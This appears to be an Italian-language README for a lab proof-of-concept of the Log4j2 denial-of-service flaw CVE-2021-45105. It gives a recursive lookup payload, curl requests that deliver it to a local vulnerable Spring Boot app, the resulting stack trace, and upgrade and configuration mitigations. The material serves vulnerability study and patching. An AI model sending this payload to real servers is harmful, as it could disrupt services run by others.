Log4j2 DOS (CVE-2021-45105)

PoC

${${::-${::-$${::-$}}}}

Versioni Affette: tutte le versioni da 2.0-beta9 a 2.16.0

Questa applicazione è basata su un'applicazione web Spring Boot vulnerabile a CVE-2021-45105

Utilizza Log4j 2.16.0

Esecuzione dell'applicazione

Esegui:

Importa il progetto in un IDE Java come progetto maven

Esegui CVEMainApplication.java come applicazione spring boot.

Passaggi per lo sfruttamento

Quindi, attiva l'exploit usando:

Per GET ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${${::-${::-$${::-$}}}}'


Per richiesta POST ->
curl --location --request POST 'http://127.0.0.1:8080/addrecord' \
--header 'Content-Type: application/json' \
--data '{
	"clientRef": "${${::-${::-$${::-$}}}}"
}'

Nota l'output che mostra il ciclo infinito, tuttavia durante i test non è stato riscontrato che questo DOS consumi molte risorse poiché questo ciclo infinito viene identificato dal programma e termina con errore:


 ${ctx:apiVersion} ${ctx:clientRef}2021-12-18 14:29:56,759 http-nio-8080-exec-1 ERROR An exception occurred processing Appender Console java.lang.IllegalStateException: Infinite loop in property interpolation of ::-${::-$${::-j}}: :
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.checkCyclicSubstitution(StrSubstitutor.java:1081)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1029)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1042)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912)

Mitigazione :

Gli utenti di Java 8 (o versioni successive) dovrebbero aggiornare alla versione 2.17.0.

In alternativa, è possibile mitigare tramite configurazione:

In PatternLayout nella configurazione del logging, sostituire i Context Lookups come ${ctx:loginId} o $${ctx:loginId} con i pattern del Thread Context Map (%X, %mdc, o %MDC). Altrimenti, nella configurazione, rimuovere i riferimenti ai Context Lookups come ${ctx:loginId} o $${ctx:loginId} dove provengono da fonti esterne all'applicazione come header HTTP o input utente.

Riferimento

https://issues.apache.org/jira/browse/LOG4J2-3230

Log4j_dos_CVE-2021-45105

Più Popolari